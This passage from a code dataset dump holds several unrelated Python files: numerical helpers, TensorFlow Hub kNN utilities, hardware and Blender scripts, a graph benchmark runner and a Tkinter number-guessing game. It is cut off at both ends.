warnings.warn(\"The magnitude is close to zero, the sign will become arbitrary.\")\n \n u = u*signs\n \n return u, s\n else:\n left_proj = np.sum(s[:, np.newaxis]*vh, axis=-1)\n right_proj = np.sum(u*s, axis=0)\n total_proj = left_proj + right_proj\n signs = np.sign(total_proj)\n \n random_idx = (signs==0)\n if np.any(random_idx):\n signs[random_idx] = 1\n warnings.warn(\"The magnitude is close to zero, the sign will become arbitrary.\")\n\n u = u*signs\n vh = signs[:, np.newaxis]*vh\n\n return u, s, vh\n\n\n \n","sub_path":"brainda/algorithms/decomposition/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"595603103","text":"# Copyright 2019 The TensorFlow Hub Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Utils for module search functionality.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport tensorflow_datasets as tfds\n\n\ndef compute_distance_matrix(x_train, x_test, measure=\"squared_l2\"):\n \"\"\"Calculates the distance matrix between test and train.\n\n Args:\n x_train: Matrix (NxD) where each row represents a training sample\n x_test: Matrix (MxD) where each row represents a test sample\n measure: Distance measure (not necessarly metric) to use\n\n Raises:\n NotImplementedError: When the measure is not implemented\n\n Returns:\n Matrix (MxN) where elemnt i,j is the distance between\n x_test_i and x_train_j.\n \"\"\"\n\n x_train = tf.convert_to_tensor(x_train, tf.float64)\n x_test = tf.convert_to_tensor(x_test, tf.float64)\n\n if measure == \"squared_l2\":\n x_xt = tf.matmul(x_test, tf.transpose(x_train)).numpy()\n\n x_train_2 = tf.reduce_sum(tf.math.square(x_train), 1).numpy()\n x_test_2 = tf.reduce_sum(tf.math.square(x_test), 1).numpy()\n\n for i in range(np.shape(x_xt)[0]):\n x_xt[i, :] = np.multiply(x_xt[i, :], -2)\n x_xt[i, :] = np.add(x_xt[i, :], x_test_2[i])\n x_xt[i, :] = np.add(x_xt[i, :], x_train_2)\n\n else:\n raise NotImplementedError(\"Method '{}' is not implemented\".format(measure))\n\n return x_xt\n\n\ndef compute_distance_matrix_loo(x, measure=\"squared_l2\"):\n \"\"\"Calculates the distance matrix for leave-one-out strategy.\n\n Args:\n x: Matrix (NxD) where each row represents a sample\n measure: Distance measure (not necessarly metric) to use\n\n Raises:\n NotImplementedError: When the measure is not implemented\n\n Returns:\n Matrix (NxN) where elemnt i,j is the distance between x_i and x_j.\n The diagonal is set to infinity\n \"\"\"\n\n x = tf.convert_to_tensor(x, tf.float64)\n\n if measure == \"squared_l2\":\n x_xt = tf.matmul(x, tf.transpose(x)).numpy()\n diag = np.diag(x_xt)\n d = np.copy(x_xt)\n\n for i in range(np.shape(d)[0]):\n d[i, :] = np.multiply(d[i, :], -2)\n d[i, :] = np.add(d[i, :], x_xt[i, i])\n d[i, :] = np.add(d[i, :], diag)\n d[i, i] = float(\"inf\")\n\n elif measure == \"cosine\":\n d = tf.matmul(x, tf.transpose(x)).numpy()\n diag_sqrt = np.sqrt(np.diag(d))\n outer = np.outer(diag_sqrt, diag_sqrt)\n d = np.ones(np.shape(d)) - np.divide(d, outer)\n np.fill_diagonal(d, float(\"inf\"))\n\n else:\n raise NotImplementedError(\"Method '{}' is not implemented\".format(measure))\n\n return d\n\n\ndef knn_errorrate(d, y_train, y_test, k=1):\n \"\"\"Calculate the knn error rate based on the distance matrix d.\n\n Args:\n d: distance matrix\n y_train: label vector for the training samples\n y_test: label vector for the test samples\n k: number of direct neighbors for knn\n\n Returns:\n knn error rate (1 - accuracy)\n \"\"\"\n\n if k == 1:\n indices = np.argmin(d, axis=1)\n\n cnt = 0\n for i in range(len(indices)):\n if y_test[i] != y_train[indices[i]]:\n cnt += 1\n\n return float(cnt) / len(indices)\n\n indices = np.argpartition(d, k - 1, axis=1)\n cnt = 0\n for i in range(np.shape(d)[0]):\n cnt_i = 0\n for j in range(k):\n if y_test[i] != y_train[indices[i, j]]:\n cnt_i += 1\n if cnt_i >= k / 2.0:\n cnt += 1\n\n return float(cnt) / np.shape(d)[0]\n\n\ndef knn_errorrate_loo(d, y, k=1):\n \"\"\"Calculate the leave-one-out expected knn error rate based\n on the distance matrix d.\n\n Args:\n d: distance matrix, the diagonal should be infinity\n y: label matrix\n k: number of direct neighbors for knn\n\n Returns:\n Expected leave-one-out knn error rate (1 - accuracy)\n \"\"\"\n\n if k == 1:\n indices = np.argmin(d, axis=1)\n\n cnt = 0\n for i in range(len(indices)):\n if y[i] != y[indices[i]]:\n cnt += 1\n\n return float(cnt) / len(indices)\n\n indices = np.argpartition(d, k - 1, axis=1)\n cnt = 0\n for i in range(np.shape(d)[0]):\n cnt_i = 0\n for j in range(k):\n if y[i] != y[indices[i, j]]:\n cnt_i += 1\n if cnt_i >= k / 2.0:\n cnt += 1\n\n return float(cnt) / np.shape(d)[0]\n\n\ndef load_data(dataset, split, num_examples=None):\n ds = tfds.load(dataset, split=split, shuffle_files=False)\n if num_examples:\n ds = ds.take(num_examples)\n return ds\n\n\ndef load_embedding_fn(module):\n m = hub.load(module, tags=[])\n return lambda x: m.signatures[\"default\"](x)[\"default\"]\n","sub_path":"tensorflow_hub/tools/module_search/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"438428276","text":"#!/usr/bin/env python\n#\n# Example for using the Grove - LCD RGB Backlight\n#\n# You can learn more about LeMaker Guitar here: http://www.lemaker.org/cn/product-guitar-specification.html\n# Modules: \n# \thttp://www.seeedstudio.com/wiki/Grove_-_LCD_RGB_Backlight\n#\n# Have a question about this example? Ask on the forums here: http://forum.lemaker.org/cn/forum.php?gid=169 \n#\n# NOTE:\n# \tOnly supports setting the backlight colour and putting a text string onto the display\n\nfrom grove_rgb_lcd import *\nimport time\n\nsetRGB(0,255,0)\nbuf=list(\"Grove -Update without erase\")\nsetText(\"\".join(buf))\ntime.sleep(1)\n\nfor i in range(len(buf)):\n\tbuf[i]=\".\"\n\tsetText_norefresh(\"\".join(buf))\n\ttime.sleep(.1)\n","sub_path":"GroveOnGuitar/GroveOnGuitar/grove_rgb_lcd/example3.py","file_name":"example3.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"495315792","text":"class Solution:\n def findMedianSortedArrays(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: float\n \"\"\"\n newnum = nums1\n newnum.extend(nums2)\n newnum.sort()\n \n numLen = len(newnum)\n \n if numLen %2 == 0:\n median = (newnum[int(numLen/2)]+newnum[int((numLen/2)-1)])/2\n else:\n T = int(((numLen+1)/2)-1)\n median = newnum[T]\n \n return float(median)\n \n","sub_path":"MedianSortedArrays.py","file_name":"MedianSortedArrays.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"649314091","text":"#!/usr/bin/python\n# from setuptools\n# import setup\nimport os\n\n__author__ = \"Andre Christoga\"\ninput = raw_input(\"> (eg plus, minus, divide...)\")\n\nif input == \"plus\":\n\tos.system(\"pymain/plus.py\")\nif input == \"minus\":\n\tos.system(\"pymain/minus.py\")\nif input == \"multi\":\n\tos.system(\"pymain/multi.py\")\nif input == \"divide\":\n\tos.system(\"pymain/divide.py\")\nif input == \"modulos\":\n\tos.system(\"pymain/modulos.py\")\n\n# setup(\n# name=\"PyMaIn\",\n# version=\"1.0.0\",\n# author=\"Coding Smart School\",\n# author_email=\"codingsmartschool@gmail.com\",\n# url=\"https://github.com/codingsmartschool/pymain\",\n# description=\"Python Math Input\",\n# long_description=(\"PyMaIn is a python program that takes maths number\" \n# \" and give user the answer.\"),\n# classifiers=[\n# 'Development Status :: 4 - Beta',\n# 'Programming Language :: Python',\n# ],\n# license=\"MIT\",\n# packages=['pymain'],\n# )","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"613608299","text":"import math\nimport sys\n\n# define some colors\n# ------------------------------------------------------------------------------\nBLACK = '\\033[30m'\nRED = '\\033[31m'\nGREEN = '\\033[32m'\nYELLOW = '\\033[33m'\nBLUE = '\\033[34m'\nMAGENTA = '\\033[35m'\nCYAN = '\\033[36m'\nWHITE = '\\033[37m'\nBRIGHT_RED = '\\033[91m'\nBRIGHT_GREEN = '\\033[92m'\nBRIGHT_YELLOW = '\\033[93m'\nBRIGHT_BLUE = '\\033[94m'\nBRIGHT_MAGENTA = '\\033[95m'\nBRIGHT_CYAN = '\\033[96m'\nBRIGHT_WHITE = '\\033[97m'\nENDC = '\\033[0m'\n\n\n# ------------------------------------------------------------------------------\ndef display_progress(count, total, old_percent, width=50, completed_char=\"#\",\n empty_char=\".\"):\n \"\"\"\n Draws and updates ASCII progress bar on the stdout.\n\n :param count: The current count for our progress bar.\n :param total: The count at 100%.\n :param old_percent: The previous percent. Necessary to prevent updates if\n the percentage has not changed since the last call.\n :param width: How wide to draw the progress bar in characters. If given an\n odd number, it will be rounded down to the nearest even value.\n :param completed_char: The character to display for a completed chunk.\n :param empty_char: The character to display for an as-yet uncompleted chunk.\n\n :return: The percent value for the current state.\n \"\"\"\n\n # only allow even numbered widths\n if width % 2 != 0:\n width -= 1\n\n # calculate the percent\n percent = round((count * 1.0) / total * 100, 1)\n\n # only update the display if the percentage has changed\n if percent == old_percent:\n return percent\n\n # build the completed and uncompleted portions of the progress bar\n done_str = \"{0}\".format(completed_char *\n (int(round(percent / (100 / width), 0))))\n empty_str = \"{0}\".format(empty_char *\n (width - (int(round(percent / (100 / width))))))\n\n # build the X out of Y text\n count_str = \" (\" + BRIGHT_WHITE + str(count) + ENDC + \" of \" + \\\n BRIGHT_WHITE + str(total) + ENDC + \")\"\n\n # build the percent string\n percent_str = \"{0}\".format(\" \" *\n (4 - len(str(int(math.floor(percent)))))) + str(percent) + \"%\" + \" \"\n\n # build the complete string, and insert the percent\n progress_bar_str = \"[\" + done_str + empty_str + \"]\"\n progress_left = progress_bar_str[:int((len(progress_bar_str) / 2) -\n math.floor(len(percent_str) / 2)) + 2]\n progress_right = progress_bar_str[int((len(progress_bar_str) / 2) +\n math.ceil(len(percent_str) / 2)) + 2:]\n progress_bar_str = progress_left\n progress_bar_str += BRIGHT_YELLOW + percent_str + ENDC\n progress_bar_str += progress_right\n\n # append the count string\n progress_bar_str += count_str\n\n # show it\n sys.stdout.write(progress_bar_str)\n sys.stdout.flush()\n sys.stdout.write(\"\\b\" * (len(progress_bar_str))) # return to start of line\n\n # return the percent (so that we only update the percentage when it changes)\n return percent\n\n\n# ------------------------------------------------------------------------------\ndef display_error(*msgs):\n \"\"\"\n Given any number of args, converts those args to strings, concatenates them,\n and prints to stdErr.\n\n :return: Nothing.\n \"\"\"\n\n output = \"\"\n for msg in msgs:\n output += \" \" + str(msg)\n print(output.lstrip(\" \"), file=sys.stderr)\n\n\n# ------------------------------------------------------------------------------\ndef format_string(msg):\n \"\"\"\n Given a string (msg) this will format it with colors based on the {{COLOR}}\n tags. (example {{COLOR_RED}}). It will also convert literal \\n character\n string into a proper newline.\n\n :param msg: The string to format.\n\n :return: The formatted string.\n \"\"\"\n\n output = msg.replace(r\"\\n\", \"\\n\")\n output = output.replace(\"{{\", \"{\")\n output = output.replace(\"}}\", \"}\")\n\n output = output.format(\n COLOR_BLACK=BLACK,\n COLOR_RED=RED,\n COLOR_GREEN=GREEN,\n COLOR_YELLOW=YELLOW,\n COLOR_BLUE=BLUE,\n COLOR_MAGENTA=MAGENTA,\n COLOR_CYAN=CYAN,\n COLOR_WHITE=WHITE,\n COLOR_BRIGHT_RED=BRIGHT_RED,\n COLOR_BRIGHT_GREEN=BRIGHT_GREEN,\n COLOR_BRIGHT_YELLOW=BRIGHT_YELLOW,\n COLOR_BRIGHT_BLUE=BRIGHT_BLUE,\n COLOR_BRIGHT_MAGENTA=BRIGHT_MAGENTA,\n COLOR_BRIGHT_CYAN=BRIGHT_CYAN,\n COLOR_BRIGHT_WHITE=BRIGHT_WHITE,\n COLOR_NONE=ENDC,\n )\n\n return output\n\n\n# ------------------------------------------------------------------------------\ndef display_message(*msgs):\n \"\"\"\n Given any number of args, converts those args to strings, concatenates them,\n and prints to stdOut.\n\n :return: Nothing.\n \"\"\"\n\n print(\" \".join([str(item) for item in msgs]))\n","sub_path":"displayLib.py","file_name":"displayLib.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"596815100","text":"#!BPY\n\"\"\"Move stars (vertices of a mesh) to different forms,\ne.g. flat map or sphere, for nice shape-transformation\nanimations.\"\"\"\n# I assume that the stars are vertices of a few meshes,\n# as created by ravestars_mesh.py,\n# so I need to move vertices of a mesh, not objects.\n# Thus use shapekeys here.\n#\n# Kristin Riebe, E-Science at AIP, kriebe@aip.de, 27.10.2014\n\nimport bpy\nimport fnmatch\nfrom math import sqrt, acos, atan2, pi\n\n\ndef get_objects(namepattern):\n \"\"\"Get objects from all scenes matching the namepattern.\n namepattern -- string regular expression\n \"\"\"\n\n objects = [obj for obj in bpy.data.objects\n if fnmatch.fnmatchcase(obj.name, namepattern)]\n\n # if only selectable and not-hidden objects, use:\n # bpy.ops.object.select_pattern(pattern=name)\n # if only objects of current scene, use:\n # bpy.context.scene.objects\n return objects\n\n\ndef shapekey_vertices_to_sphere(obj, keyname, parameters):\n \"\"\"Move vertices of mesh to a sky-sphere, using shapekey\n obj -- mesh-object with stars as vertices\n keyname -- name for shapekey (e.g. 'KeySphere')\n parameters -- dictionary of necessary parameters,\n here: rsphere for radius of sphere\n \"\"\"\n\n rsphere = parameters[\"rsphere\"]\n\n bpy.ops.object.select_all(action='DESELECT')\n\n print(\"Adding sphere-shapekey for \", obj.name)\n m = bpy.data.objects[obj.name]\n\n obj.select = True\n\n # Add shape keys for modifying vertices of the mesh\n shapekey = m.shape_key_add(name=keyname, from_mix=True)\n shapekey.value = 1\n\n for p in shapekey.data:\n\n r = sqrt(p.co.x*p.co.x + p.co.y*p.co.y + p.co.z*p.co.z)\n\n scale = rsphere*1./r\n\n p.co.x = p.co.x * scale\n p.co.y = p.co.y * scale\n p.co.z = p.co.z * scale\n\n shapekey.value = 0\n m.active_shape_key_index = 0\n obj.select = False\n\n return shapekey\n\n\ndef shapekey_vertices_to_map(obj, keyname, parameters):\n \"\"\"Move vertices of mesh to a flat, equirectangular map\n obj -- mesh-object with stars as vertices\n keyname -- name for shapekey\n parameters -- dictionary of necessary parameters,\n here:\n mapw -- width of the map\n maph -- height of the map\n \"\"\"\n\n mapw, maph = parameters[\"mapw\"], parameters[\"maph\"]\n\n bpy.ops.object.select_all(action='DESELECT')\n\n print(\"Adding map-shapekey for \", obj.name)\n m = bpy.data.objects[obj.name]\n\n obj.select = True\n\n # Add shape keys for modifying vertices of the mesh\n shapekey = m.shape_key_add(name=keyname, from_mix=True)\n shapekey.value = 1\n\n for p in shapekey.data:\n\n r = sqrt(p.co.x*p.co.x + p.co.y*p.co.y + p.co.z*p.co.z)\n\n theta = acos(p.co.z/r)\n phi = atan2(p.co.y, p.co.x)\n\n p.co.x = -(phi/(2*pi)*mapw) # - 0.5*mapw\n p.co.y = 0\n p.co.z = -(theta/(pi)*maph - 0.5*maph)\n\n shapekey.value = 0\n m.active_shape_key_index = 0\n\n obj.select = False\n\n return shapekey\n\n\ndef make_basis_shapekeys(objects, basisname):\n \"\"\"Create basis shapekey for matching objects\n objects -- list of objects to be used\n basisname -- name for basis shapekey\n \"\"\"\n\n bpy.ops.object.select_all(action='DESELECT')\n bpy.ops.object.select_pattern(pattern=namepattern)\n objects = bpy.context.selected_objects\n bpy.ops.object.select_all(action='DESELECT')\n\n for obj in objects:\n print(\"Adding basis shapekey for \", obj.name)\n m = bpy.data.objects[obj.name]\n obj.select = True\n\n basis = m.shape_key_add(name=basisname)\n\n return\n\n\ndef make_shapekeys(objects, keyname, formtype, parameters):\n \"\"\"Create shapekeys for given formtype for all matching objects\n objects -- list of objects to be used\n keyname -- name for shapekey\n formtype -- type of form, e.g. 'SPHERE' or 'MAP'\n parameters -- dictionary of necessary parameters, e.g. rsphere, maph;\n see individual functions for what is needed.\n \"\"\"\n\n bpy.ops.object.select_all(action='DESELECT')\n\n for obj in objects:\n m = bpy.data.objects[obj.name]\n obj.select = True\n\n # Add shapekeys depending on given formtype\n if formtype == 'SPHERE':\n key = shapekey_vertices_to_sphere(obj, keyname, parameters)\n elif formtype == 'MAP':\n key = shapekey_vertices_to_map(obj, keyname, parameters)\n else:\n raise RuntimeError(\"There is no function implemented for \\\n formtype='%s' yet.\" % formtype)\n\n return\n\n\ndef delete_shapekeys(objects):\n \"\"\"Delete shapekeys of objects\"\"\"\n\n bpy.ops.object.select_all(action='DESELECT')\n\n for obj in objects:\n # Select, set active, then delete all shapekeys\n obj.select = True\n bpy.context.scene.objects.active = obj\n\n if obj.data.shape_keys is not None:\n bpy.ops.object.shape_key_remove(all=True)\n print(\"Shapekeys for %s deleted.\" % obj.name)\n\n obj.select = False\n\n return\n\n\ndef add_shape_animation(objects, keyname0, iframe0, keyname1, iframe1):\n \"\"\"Add animation keyframes for shapekeys\n objects -- list of objects to be used\n keyname0 -- name of basis/previous shapekey\n iframe0 -- frame at which new shapekey value is 0, keyframed\n keyname1 -- name of new shapekey\n iframe1 -- frame at which new shape gets value 1, keyframed\n \"\"\"\n\n bpy.ops.object.select_all(action='DESELECT')\n\n for obj in objects:\n m = bpy.data.objects[obj.name]\n\n # Select the object\n obj.select = True\n\n # Set the keyframes for this object\n keyblocks = m.data.shape_keys.key_blocks\n key0 = keyblocks[keyname0]\n key1 = keyblocks[keyname1]\n\n # Initial shape, value of new shapekey is 0\n iframe = iframe0\n key0.value = 1\n key1.value = 0\n key0.keyframe_insert(data_path=\"value\", frame=iframe)\n key1.keyframe_insert(data_path=\"value\", frame=iframe)\n\n # New shape with key1\n iframe = iframe1\n key0.value = 0\n key1.value = 1\n key0.keyframe_insert(data_path=\"value\", frame=iframe)\n key1.keyframe_insert(data_path=\"value\", frame=iframe)\n\n obj.select = False\n\n return\n\n\nif __name__ == '__main__':\n\n # Set parameters: sphere radius, width and height of flat map\n rsphere = 2.\n\n mapw = 7.5\n maph = 4.5\n\n # Set string pattern for the star-meshes\n namepattern = 'stars-*'\n\n # Get objects based on namepattern\n objects = get_objects(namepattern)\n\n # Set names for shapekeys (just for user convenience)\n basisname = 'Basis'\n mapkeyname = 'KeyMap'\n spherekeyname = 'KeySphere'\n\n # Delete *all* shapekeys and animation keyframes.\n # Be careful: this may do more than you want.\n delete_shapekeys(objects)\n\n # Make basis shapekey\n make_basis_shapekeys(objects, basisname)\n\n # Add sphere-shapekey\n parameters = {\"rsphere\": rsphere}\n make_shapekeys(objects, spherekeyname, 'SPHERE', parameters)\n\n # Add map-shapekey\n parameters = {\"mapw\": mapw, \"maph\": maph}\n make_shapekeys(objects, mapkeyname, 'MAP', parameters)\n\n # Add animations. Go backwards, because want initial distribution\n # at the end.\n\n # Set keyframes for animations\n imap1 = 0\n imap2 = 30\n isphere1 = 100\n isphere2 = 170\n ibasis = 230\n\n add_shape_animation(objects, basisname, ibasis, spherekeyname, isphere2)\n add_shape_animation(objects, spherekeyname, isphere1, mapkeyname, imap2)\n\n print(\"\\nDone.\")\n","sub_path":"deform_starmesh.py","file_name":"deform_starmesh.py","file_ext":"py","file_size_in_byte":7553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"20896203","text":"#! /usr/bin/env python3\n\nimport sys\nimport os\nimport subprocess\n\n\n\n#graph_names = ['amazon.txt', 'msdoor.txt', 'google.txt', 'roadnetca.txt','soclivejournal.txt', 'road-cal.txt']\n\ngraph_names = ['msdoor.txt', 'road-cal.txt']\n\ngraph_names = [os.path.join(os.path.dirname(__file__), i) for i in graph_names]\n\ngraph_names = [\"graphs/\" + i for i in graph_names]\n\nbinary_name = \"./sssp\"\n\nexe_args_list = []\n\nfor graph in graph_names:\n #for x in ((256, 8), (384, 5), (512, 4), (768, 2), (1024, 2)):\n for x in [(512, 32)]:\n blocksize = str(x[0])\n blocknum = str(x[1])\n\n # shared memory, with bmf, sorted by destination, only only sorted by\n # destination and only for the BMF\n #exe_args_list.append([binary_name, \"--input\", graph, \"--bsize\", blocksize, \"--bcount\", blocknum, \"--output\", \"output.txt\", \"--method\", \"bmf\", \"--sync\", \"outcore\", \"--sort\", \"yes\", \"--usesmem\", \"yes\"])\n \n exe_args_list.append([binary_name, \"--input\", graph, \"--bsize\",\n blocksize, \"--bcount\", blocknum, \"--output\", \"output.txt\",\n \"--method\", \"bmf\", \"--sync\", \"incore\", \"--sort\", \"yes\", \"--usesmem\",\n \"no\"])\n\"\"\"\n for sort in (\"yes\", \"no\"):\n for method in [\"tpe\", \"bmf\"]:\n for sync in (\"outcore\", \"incore\"):\n exe_args_list.append([binary_name, \"--input\", graph, \"--bsize\",\n blocksize, \"--bcount\", blocknum, \"--output\", \"output.txt\",\n \"--method\", method, \"--sync\", sync, \"--sort\", sort, \"--usesmem\",\n \"no\"])\n\"\"\"\n\n\ntry: \n with open(\"benchmark_results.txt\", 'w') as f:\n count = 0\n for exe in exe_args_list:\n compl_time = subprocess.check_output(exe, stderr = subprocess.STDOUT).decode('utf-8') \n\n if(exe[-1] == \"yes\"):\n time = compl_time.split(\"\\n\")[5].split(\" \")[1]\n iter_c = compl_time.split(\"\\n\")[6].split(\" \")[1]\n\n f.write(\"\"\"Graph: {}, Method: BMF Shared, Block Configuration:({} {})\\nTime: {}\\nIterations:{}\\n\\n\"\"\".format(exe[2], exe[4], exe[6], time, iter_c))\n\n elif(exe[10] == \"tpe\"):\n k_time = compl_time.split(\"\\n\")[5].split(\" \")[-2]\n f_time = compl_time.split(\"\\n\")[6].split(\" \")[-2]\n t_time = compl_time.split(\"\\n\")[7].split(\" \")[-2]\n iter_c= compl_time.split(\"\\n\")[8].split(\" \")[1]\n \n f.write(\"\"\"Graph: {}, Method: TPE {} {}, Block Configuration: ({} {})\\nK_time: {}, F_Time:{}, T_time: {}\\nIterations:{}\\n\\n\"\"\".format(exe[2], exe[12], exe[-3], exe[4], exe[6], k_time, f_time, t_time, iter_c))\n\n else:\n time = compl_time.split(\"\\n\")[5].split(\" \")[1]\n iter_c = compl_time.split(\"\\n\")[6].split(\" \")[1]\n\n f.write(\"\"\"Graph: {}, Method: BMF {} {}, Block Configuration: ({} {})\\nTime: {}\\nIterations:{}\\n\\n\"\"\".format(exe[2], exe[12],\n exe[-3], exe[4], exe[6], time, iter_c))\n\n\n \n print(\"Processed {} of {}\".format(count, len(exe_args_list)))\n count +=1\n \n\nexcept subprocess.CalledProcessError as e:\n print(\"Command '\" + str(e.cmd)+ \"'failed!\")\n print(\"Output:\")\n print(e.output)\n","sub_path":"implementation/benchmarker.py","file_name":"benchmarker.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"338085831","text":"from PySide2.QtWidgets import *\nfrom PySide2.QtCore import *\n\nclass Test(QWidget):\n\n def __init__(self):\n QWidget.__init__(self)\n self.setWindowTitle(\"IHM\")\n self.setMinimumSize(500, 300)\n\n self.layout = QHBoxLayout()\n self.Barre = QProgressBar()\n self.Curseur = QSlider(Qt.Vertical)\n\n self.layout.addWidget(self.Barre)\n self.layout.addWidget(self.Curseur)\n\n self.Curseur.valueChanged.connect(self.Signal)\n\n self.setLayout(self.layout)\n\n def Signal(self):\n self.Slot(self.Curseur.value())\n self.show()\n\n def Slot(self,value):\n self.Barre.setValue(self.Curseur.value())\n\nif __name__ == \"__main__\":\n app = QApplication([])\n win = Test()\n win.show()\n app.exec_()\n","sub_path":"Exercice 2.py","file_name":"Exercice 2.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"184780308","text":"\"\"\"\nProvides functionality to btns in the __main__.py file.\n\"\"\"\n\nimport json\nimport clsHS\nfrom random import randint\nfrom tkinter import messagebox\n\n\nclass Funcs:\n\n def __init__(self, ui, file='guess the number/high-scores.json'):\n self.main = ui\n self._jsonFile = file\n self._diff = 'not set'\n self._tries = 0\n self._difficulties = ['easyDifficulty', 'mediumDifficulty', 'hardDifficulty']\n\n self.findHighScorers()\n\n def findHighScorers(self):\n \"\"\"\n Finds the high scorers in each difficulty as a dict.\\n\n :return: dict\n \"\"\"\n with open(self._jsonFile) as f:\n self._scores = json.load(f)\n\n easyHighScorer = list(self._scores['easyDifficulty'].keys())[0]\n mediumHighScorer = list(self._scores['mediumDifficulty'].keys())[0]\n hardHighScorer = list(self._scores['hardDifficulty'].keys())[0]\n\n eTries = self._scores['easyDifficulty'][easyHighScorer]\n mTries = self._scores['mediumDifficulty'][mediumHighScorer]\n hTries = self._scores['hardDifficulty'][hardHighScorer]\n\n return {easyHighScorer: eTries, mediumHighScorer: mTries, hardHighScorer: hTries}\n\n def showHighScorers(self):\n \"\"\"\n Finds and displays the high scorers in the main UI window.\\n\n :return: None\n \"\"\"\n self.findHighScorers()\n self.main._ezyHS.set(list(self._scores['easyDifficulty'].keys()))\n self.main._medHS.set(list(self._scores['mediumDifficulty'].keys()))\n self.main._hardHS.set(list(self._scores['hardDifficulty'].keys()))\n\n self.main._eTries.set(list(self._scores['easyDifficulty'].values()))\n self.main._mTries.set(list(self._scores['mediumDifficulty'].values()))\n self.main._hTries.set(list(self._scores['hardDifficulty'].values()))\n\n def writeHighScorers(self, diff, score):\n \"\"\"\n Writes to the json file in the difficulty and a dict of scorer and tries.\\n\n :param diff: str\\n\n :param score: dict = {scorer: tries}\\n\n :return: None\n \"\"\"\n with open(self._jsonFile) as f:\n storedData = json.load(f)\n\n storedData[diff] = score\n\n with open(self._jsonFile, 'w') as f:\n json.dump(storedData, f, indent=4)\n\n self.showHighScorers()\n\n def changeDiff(self):\n \"\"\"\n Changes the set difficulty.\\n\n :return: None\n \"\"\"\n if self._diff != 'not set':\n response = messagebox.askokcancel('Do you want to continue?',\n 'Proceeding will reset your tries and you will have to start over.')\n\n if response:\n self.reset()\n else:\n return\n else:\n return\n\n def setRandomNumber(self, diff):\n \"\"\"\n Sets a random number based on the given difficulty.\\n\n :param diff: str\\n\n :return: None\n \"\"\"\n self.main.tries = 0\n self.main.disableButtons()\n\n if diff == 'e':\n self._diff = 'easyDifficulty'\n self._randomInt = randint(0, 10)\n self.main._selectedDiff.set('Difficulty: Easy')\n # print(self.main.randint)\n elif diff == 'm':\n self._diff = 'mediumDifficulty'\n self._randomInt = randint(0, 100)\n self.main._selectedDiff.set('Difficulty: Medium')\n # print(self.main.randint)\n else:\n self._diff = 'hardDifficulty'\n self._randomInt = randint(0, 500)\n self.main._selectedDiff.set('Difficulty: Hard')\n # print(self.main.randint)\n\n def verify(self, *args):\n \"\"\"\n Verifies the user's guess.\\n\n :param args: event\\n\n :return: None\n \"\"\"\n num = self.main.getNum()\n name = self.main.getName()\n\n if name != '':\n if self._diff != 'not set':\n if num is not None:\n try:\n num = int(num)\n self._tries += 1\n self.main._tries.set('Tries: ' + str(self._tries))\n self.evalEntry(num, name)\n self.main.clearNumEntry()\n except ValueError:\n self.main._result.set('Please enter a number.')\n self.main.clearNumEntry()\n else:\n self.main._result.set('Please enter a number.')\n else:\n self.main._result.set('Please select a difficulty.')\n else:\n self.main._result.set('Please enter your name.')\n\n def evalEntry(self, num, name):\n \"\"\"\n Evaluates the user guess.\\n\n :param num: int\\n\n :param name: name of user\\n\n :return: None\n \"\"\"\n hints = ['Too low, try again!', 'Too high, try again!', 'Almost there, try higher!', 'Almost there, try lower!']\n compliments = ['Great!', 'Awesome!', 'Superb!', 'Bravo!', 'Wow!', 'Amazing!']\n\n if num < self._randomInt:\n difference = abs(num - self._randomInt)\n if difference > 10:\n self.main._result.set(hints[0])\n elif difference <= 10:\n self.main._result.set(hints[2])\n elif num > self._randomInt:\n difference = abs(num - self._randomInt)\n if difference > 10:\n self.main._result.set(hints[1])\n elif difference <= 10:\n self.main._result.set(hints[3])\n else:\n messagebox.showinfo(compliments[randint(0, 5)],\n 'You got it right in ' + str(self._tries) + ' tries!')\n self.main.clearNumEntry()\n self.main.enableButtons()\n\n if list(self._scores[self._diff].values())[0] is None:\n self.writeHighScorers(self._diff, {name: self._tries})\n self.showHighScorers()\n elif self._tries < list(self._scores[self._diff].values())[0]:\n self.writeHighScorers(self._diff, {name: self._tries})\n self.showHighScorers()\n\n self._tries = 0\n self.main._tries.set('Tries: ' + str(self._tries))\n self._diff = 'not set'\n self.main._selectedDiff.set('Difficulty:')\n\n self.reset()\n self.showHighScorers()\n\n def launchClearHS(self):\n \"\"\"\n Launches the clear window.\\n\n :return: None\n \"\"\"\n clsWindow = clsHS.Clear(self)\n clsWindow.winActivate()\n\n def clsHs(self):\n \"\"\"\n Clears the high scores\\n\n :return:\n \"\"\"\n for diff in 